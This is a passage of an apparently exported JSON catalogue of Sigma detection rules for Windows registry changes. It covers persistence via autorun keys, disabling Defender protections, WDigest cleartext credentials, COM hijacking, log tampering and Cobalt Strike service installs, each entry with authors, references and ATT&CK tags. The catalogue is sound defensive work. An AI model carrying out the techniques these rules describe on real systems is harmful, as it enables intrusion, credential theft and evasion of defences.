"https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1112" ] }, "uuid": "a2863fbc-d5cb-48d5-83fb-d976d4b1743b", "value": "RDP Sensitive Settings Changed to Zero" }, { "description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", "creation_date": "2022/06/15", "falsepositive": [ "Administrator actions" ], "filename": "registry_set_enabling_turnoffcheck.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "7d995e63-ec83-4aa3-89d5-8a17b5c87c86", "value": "Scripted Diagnostics Turn Off Check Enabled - Registry" }, { "description": "Detects when the enablement of developer features such as \"Developer Mode\" or \"Application Sideloading\". Which allows the user to install untrusted packages.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/12", "falsepositive": [ "Unknown" ], "filename": "registry_set_turn_on_dev_features.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/malmoeb/status/1560536653709598721", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_turn_on_dev_features.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "b110ebaf-697f-4da1-afd5-b536fa27a2c1", "value": "Potential Signing Bypass Via Windows Developer Features - Registry" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_session_manager.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml" ], "tags": [ "attack.persistence", "attack.t1547.001", "attack.t1546.009" ] }, "related": [ { "dest-uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "046218bd-e0d8-4113-a3c3-895a12b2b298", "value": "Session Manager Autorun Keys Modification" }, { "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "This value is not set by default but could be rarly used by administrators" ], "filename": "registry_set_hangs_debugger_persistence.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/", "https://persistence-info.github.io/Data/wer_debugger.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "833ef470-fa01-4631-a79b-6f291c9ac498", "value": "Add Debugger Entry To Hangs Key For Persistence" }, { "description": "Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Unknown" ], "filename": "registry_set_powershell_execution_policy.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_execution_policy.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "fad91067-08c5-4d1a-8d8c-d96a21b37814", "value": "Potential PowerShell Execution Policy Tampering" }, { "description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'", "meta": { "author": "Omkar Gudhate", "creation_date": "2020/09/27", "falsepositive": [ "Unknown" ], "filename": "registry_set_comhijack_sdclt.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.exploit-db.com/exploits/47696", "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1546", "attack.t1548" ] }, "related": [ { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "07743f65-7ec9-404a-a519-913db7118a8d", "value": "COM Hijack via Sdclt" }, { "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n", "meta": { "author": "frack113", "creation_date": "2021/12/30", "falsepositive": [ "Unknown" ], "filename": "registry_set_winlogon_notify_key.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml" ], "tags": [ "attack.persistence", "attack.t1547.004" ] }, "uuid": "bbf59793-6efb-4fa1-95ca-a7d288e52c88", "value": "Winlogon Notify Key Logon Persistence" }, { "description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption", "meta": { "author": "frack113", "creation_date": "2022/01/24", "falsepositive": [ "Unknown" ], "filename": "registry_set_blackbyte_ransomware.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/", "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "83314318-052a-4c90-a1ad-660ece38d276", "value": "Blackbyte Ransomware Registry" }, { "description": "Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)", "meta": { "author": "Trent Liffick (@tliffick)", "creation_date": "2020/05/22", "falsepositive": [ "Valid Macros and/or internal documents" ], "filename": "registry_set_office_security.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/inversecos/status/1494174785621819397", "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd", "value": "Office Security Settings Changed" }, { "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.\nWe can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml)\nIn some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events.\n", "meta": { "author": "Wojciech Lesicki", "creation_date": "2021/06/29", "falsepositive": [ "Unknown" ], "filename": "registry_set_cobaltstrike_service_installs.yml", "level": "critical", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.lateral_movement", "attack.t1021.002", "attack.t1543.003", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "61a7697c-cb79-42a8-a2ff-5f0cdfae0130", "value": "CobaltStrike Service Installations in Registry" }, { "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension", "meta": { "author": "frack113", "creation_date": "2021/12/28", "falsepositive": [ "Unknown" ], "filename": "registry_set_chrome_extension.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chrome_extension.yml" ], "tags": [ "attack.persistence", "attack.t1133" ] }, "uuid": "b64a026b-8deb-4c1d-92fd-98893209dff1", "value": "Running Chrome VPN Extensions via the Registry 2 VPN Extension" }, { "description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/01/10", "falsepositive": [ "Legitimate Addin Installation" ], "filename": "registry_set_persistence_office_vsto.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://vanmieghem.io/stealth-outlook-persistence/", "https://twitter.com/_vivami/status/1347925307643355138", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_office_vsto.yml" ], "tags": [ "attack.t1137.006", "attack.persistence" ] }, "related": [ { "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9d15044a-7cfe-4d23-8085-6ebc11df7685", "value": "Potential Persistence Via Visual Studio Tools for Office" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_wow6432node.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "b29aed60-ebd1-442b-9cb5-16a1d0324adb", "value": "Wow6432Node CurrentVersion Autorun Keys Modification" }, { "description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only", "meta": { "author": "Florian Roth", "creation_date": "2019/10/12", "falsepositive": [ "Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)" ], "filename": "registry_set_susp_keyboard_layout_load.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml" ], "tags": [ "attack.resource_development", "attack.t1588.002" ] }, "related": [ { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "34aa0252-6039-40ff-951f-939fd6ce47d8", "value": "Suspicious Keyboard Layout Load" }, { "description": "Detects disabling Windows Defender Tamper Protection", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/04", "falsepositive": [ "Unknown" ], "filename": "registry_set_disabled_tamper_protection_on_microsoft_defender.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "93d298a1-d28f-47f1-a468-d971e7796679", "value": "Disable Tamper Protection on Windows Defender" }, { "description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2019/09/12", "falsepositive": [ "Unknown" ], "filename": "registry_set_wdigest_enable_uselogoncredential.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "d6a9b252-c666-4de6-8806-5561bbbd3bdc", "value": "Wdigest Enable UseLogonCredential" }, { "description": "Detect possible persistence using Fax DLL load when service restart", "meta": { "author": "frack113", "creation_date": "2022/07/17", "falsepositive": [ "Unknown" ], "filename": "registry_set_fax_dll_persistance.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://twitter.com/dottor_morte/status/1544652325570191361", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "9e3357ba-09d4-4fbd-a7c5-ad6386314513", "value": "Change the Fax Dll" }, { "description": "Detects changes to the \"TracingDisabled\" key in order to disable ETW logging for services.exe (SCM)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/09", "falsepositive": [ "Unknown" ], "filename": "registry_set_services_etw_tamper.yml", "level": "low", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "http://redplait.blogspot.com/2020/07/whats-wrong-with-etw.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_services_etw_tamper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4f281b83-0200-4b34-bf35-d24687ea57c2", "value": "ETW Logging Disabled For SCM" }, { "description": "Detects disabling Windows Defender PUA protection", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/04", "falsepositive": [ "Unknown" ], "filename": "registry_set_disabled_pua_protection_on_microsoft_defender.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "8ffc5407-52e3-478f-9596-0a7371eafe13", "value": "Disable PUA Protection on Windows Defender" }, { "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Legitimate SIP being registered by the OS or different software." ], "filename": "registry_set_sip_persistence.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/gtworek/PSBits/tree/master/SIP", "https://persistence-info.github.io/Data/codesigning.html", "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.t1553.003" ] }, "related": [ { "dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5a2b21ee-6aaa-4234-ac9d-59a59edf90a1", "value": "Persistence Via New SIP Provider" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_classes.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "9df5f547-c86a-433e-b533-f2794357e242", "value": "Classes Autorun Keys Modification" }, { "description": "Detects the manipulation of persistent URLs which could execute malicious code", "meta": { "author": "Tobias Michalski", "creation_date": "2021/06/10", "falsepositive": [ "Unknown" ], "filename": "registry_set_outlook_registry_todaypage.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_todaypage.yml" ], "tags": [ "attack.persistence", "attack.t1112" ] }, "uuid": "487bb375-12ef-41f6-baae-c6a1572b4dd1", "value": "Persistent Outlook Landing Today Pages" }, { "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage", "meta": { "author": "frack113", "creation_date": "2022/01/09", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_defender_firewall.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "974515da-6cc5-4c95-ae65-f97f9150ec7f", "value": "Disable Microsoft Defender Firewall via Registry" }, { "description": "Detects the addition of the \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence. Which will get invoked when an application crashes", "meta": { "author": "frack113", "creation_date": "2022/08/07", "falsepositive": [ "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" ], "filename": "registry_set_dbgmanageddebugger_persistence.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/last-byte/PersistenceSniper", "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml" ], "tags": [ "attack.persistence", "attack.t1574" ] }, "related": [ { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9827ae57-3802-418f-994b-d5ecf5cd974b", "value": "Potential Registry Persistence Attempt Via DbgManagedDebugger" }, { "description": "Detects registry modifications that disable Privacy Settings Experience", "meta": { "author": "frack113", "creation_date": "2022/10/02", "falsepositive": [ "Legitimate admin script" ], "filename": "registry_set_disable_privacy_settings_experience.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "0372e1f9-0fd2-40f7-be1b-a7b2b848fa7b", "value": "Disable Privacy Settings Experience in Registry" }, { "description": "Detects non-sysinternals tools setting the \"accepteula\" key which normally is set on sysinternals tool execution", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/24", "falsepositive": [ "Unlikely" ], "filename": "registry_set_renamed_sysinternals_eula_accepted.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml" ], "tags": [ "attack.resource_development", "attack.t1588.002" ] }, "related": [ { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8023f872-3f1d-4301-a384-801889917ab4", "value": "Usage of Renamed Sysinternals Tools - RegistrySet" }, { "description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command", "meta": { "author": "frack113", "creation_date": "2022/08/28", "falsepositive": [ "Legitimate use" ], "filename": "registry_set_treatas_persistence.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml" ], "tags": [ "attack.persistence", "attack.t1546.015" ] }, "related": [ { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dc5c24af-6995-49b2-86eb-a9ff62199e82", "value": "COM Hijacking via TreatAs" }, { "description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.", "meta": { "author": "Andreas Hunkeler (@Karneades)", "creation_date": "2021/11/19", "falsepositive": [ "Unknown" ], "filename": "registry_set_file_association_exefile.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1461041276514623491", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "44a22d59-b175-4f13-8c16-cbaef5b581ff", "value": "New File Association Using Exefile" }, { "description": "Detects tampering with the \"Enabled\" registry key in order to disable windows logging of a windows event channel", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/07/04", "falsepositive": [ "Legitimate administrators disabling specific event log for troubleshooting" ], "filename": "registry_set_disable_winevt_logging.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp", "https://twitter.com/WhichbufferArda/status/1543900539280293889", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2f78da12-f7c7-430b-8b19-a28f269b77a3", "value": "Disable Winevt Event Logging Via Registry" }, { "description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.", "meta": { "author": "frack113", "creation_date": "2022/04/04", "falsepositive": [ "Unknown" ], "filename": "registry_set_add_load_service_in_safe_mode.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.001" ] }, "related": [ { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1547e27c-3974-43e2-a7d7-7f484fb928ec", "value": "Registry Persitence via Service in Safe Mode" }, { "description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious", "meta": { "author": "Syed Hasan (@syedhasan009)", "creation_date": "2021/06/18", "falsepositive": [ "Unknown" ], "filename": "registry_set_taskcache_entry.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://labs.f-secure.com/blog/scheduled-task-tampering/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml" ], "tags": [ "attack.persistence", "attack.t1053", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4720b7df-40c3-48fd-bbdf-fd4b3c464f0d", "value": "Scheduled TaskCache Change by Uncommon Program" }, { "description": "Detects potential PowerShell commands or code within registry run keys", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/03/17", "falsepositive": [ "Legitimate admin or third party scripts. Baseline according to your environnement" ], "filename": "registry_set_powershell_in_run_keys.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry", "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "8d85cf08-bf97-4260-ba49-986a2a65129c", "value": "Suspicious Powershell In Registry Run Keys" }, { "description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder", "meta": { "author": "Florian Roth, oscd.community", "creation_date": "2018/07/18", "falsepositive": [ "Unknown" ], "filename": 